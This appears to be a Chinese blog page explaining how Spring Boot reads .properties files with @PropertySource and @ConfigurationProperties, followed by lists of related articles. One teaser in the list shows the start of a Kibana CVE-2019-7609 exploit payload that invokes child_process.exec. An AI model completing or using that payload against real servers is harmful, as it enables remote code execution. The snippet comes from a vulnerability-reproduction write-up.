spring默认使用yml中的配置,但有时候要用传统的xml或properties配置,就需要使用spring-boot-configuration-processor了

引入pom依赖

 <dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-configuration-processor</artifactId>
<optional>true</optional>
</dependency>
author.name=zhangsan
author.age=20

再在配置类开头加上@PropertySource("classpath:your.properties"),其余用法与加载yml的配置一样

@Component
@PropertySource(value = {"classpath:static/config/authorSetting.properties"},
ignoreResourceNotFound = false, encoding = "UTF-8", name = "authorSetting.properties")
public class AuthorTest { @Value("${author.name}")
private String name;
@Value("${author.age}")
private int age;
}

@PropertySource 中的属性解释 
1.value:指明加载配置文件的路径。 
2.ignoreResourceNotFound:指定的配置文件不存在是否报错,默认是false。当设置为 true 时,若该文件不存在,程序不会报错。实际项目开发中,最好设置 ignoreResourceNotFound 为 false。 
3.encoding:指定读取属性文件所使用的编码,我们通常使用的是UTF-8。

当我们使用 @Value 需要注入的值较多时,代码就会显得冗余,于是 @ConfigurationProperties 登场了

@Component
@ConfigurationProperties(prefix = "author")
@PropertySource(value = {"classpath:static/config/authorSetting.properties"},
ignoreResourceNotFound = false, encoding = "UTF-8", name = "authorSetting.properties")
public class AuthorTest { private String name;
private int age; }
@RestController
@EnableConfigurationProperties
public class DemoController { @Autowired
AuthorTest authorTest; @RequestMapping("/")
public String index(){
return "author's name is " + authorTest.getName() + ",ahtuor's age is " + authorTest.getAge();
}
}

使用 @EnableConfigurationProperties 开启 @ConfigurationProperties 注解。

spring-boot-configuration-processor的更多相关文章

  1. 【Spring Boot】Spring Boot之使用 Spring Boot Configuration Processor 完成设置自定义项目属性自动补全

    一.引入Maven坐标 <dependency> <groupId>org.springframework.boot</groupId> <artifactI ...

  2. 解决spring boot1.5以上版本@ConfigurationProperties提示“Spring Boot Configuration Annotation Processor not.."

    Springboot1.5以上版本,在使用 @ConfigurationProperties注解的时候会提示“Spring Boot Configuration Annotation Processo ...

  3. spring boot Configuration Annotation Proessor not found in classpath

    出现spring boot Configuration Annotation Proessor not found in classpath的提示是在用了@ConfigurationPropertie ...

  4. Spring Boot Configuration Annotation Proessor not found in classpath解决办法

    From: https://www.cnblogs.com/whtgjy/p/9438317.html 出现spring boot Configuration Annotation Proessor ...

  5. 使用@ConfigurationProperties注解 提示 “Spring Boot Configuration Annotation Processor not found in classpath ”

    解决方案: 在 pom.xml 添加依赖 <dependency> <groupId>org.springframework.boot</groupId> < ...

  6. spring boot configuration annotation processor not found in classpath

    <dependency> <groupId> org.springframework.boot </groupId> <artifactId> spri ...

  7. 解决Spring Boot Configuration Annotation Processor not found in classpath

    问题截图: 解决方式: 在pom.xml文件中添加这些依赖 <dependency> <groupId>org.springframework.boot</groupId ...

  8. 2、spring boot 配置文件

    配置文件 SpringBoot使用一个全局的配置文件,配置文件名是固定的: •application.properties •application.yml 配置文件的作用:修改SpringBoot自 ...

  9. Spring Boot 配置元数据指南

    1. 概览 在编写 Spring Boot 应用程序时,将配置属性映射到 Java bean 上是非常有用的.但是,记录这些属性的最好方法是什么呢? 在本教程中,我们将探讨 Spring Boot C ...

  10. 【串线篇】spring boot配置文件大全【上】

    一.配置文件 SpringBoot使用一个全局的配置文件,配置文件名是固定的: • application.properties • application.yml 配置文件的作用:修改SpringB ...

随机推荐

  1. FS获取KERNEL32基址的三种方法

    FS寄存器指向当前活动线程的TEB结构(线程结构) 偏移  说明 000  指向SEH链指针 004  线程堆栈顶部 008  线程堆栈底部 00C  SubSystemTib 010  FiberD ...

  2. 重新学习Mysql数据库4:Mysql索引实现原理和相关数据结构算法

    本文转自互联网 本系列文章将整理到我在GitHub上的<Java面试指南>仓库,更多精彩内容请到我的仓库里查看 https://github.com/h2pl/Java-Tutorial ...

  3. STM32库中自定义的数据类型

    在头文件 <stdint.h> 中 1 /* exact-width signed integer types */ typedef signed char int8_t; typedef ...

  4. eclipse的快捷键(常用)

    ctrl+shift+r 全局查找java类 ctrl +h       全局查找包含某某内容的文件位置 ctrl +alt+h  右击方法名 选择open call hierarchy

  5. 机器学习技法笔记:Homework #5 特征变换&Soft-Margin SVM相关习题

    原文地址:https://www.jianshu.com/p/6bf801bdc644 特征变换 问题描述 程序实现 # coding: utf-8 import numpy as np from c ...

  6. Kibana < 6.6.1 代码执行漏洞复现CVE-2019-7609

    登陆kibana poc .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("ba ...

  7. 拾遗:Go 基础

    这 Go,越看越像是 C 和 Python 的混合体--! gofmt 用于格式化代码,缩进使用 tab,而不是空格:Python 官方则建议使用空格,而不是 tab package Go 惯例,使用 ...

  8. Java标准输入/输出/错误流

    只要使用OutputStream对象就可使用System.out和System.err对象引用.只要可以使用InputStream对象就可以使用System.in对象. System类提供了三个静态设 ...

  9. .net 委托 +lamda表达式

    1.委托与类同级 想当于定义了一个类型 如 delegate int Sum(int a, int b);// 在声明类之前声明 2.这里可以在类里写个函数 public int sumAB(int ...

  10. vue-cli 利用moment.js转化时间格式为YYYY年MM月DD日,或者是YYYY-MM-DD HH:MM:SS 等格式

    1.在mian.js引入moment import moment from 'moment' Vue.prototype.$moment = 'moment' 2. 在main.js 设置全局过滤器 ...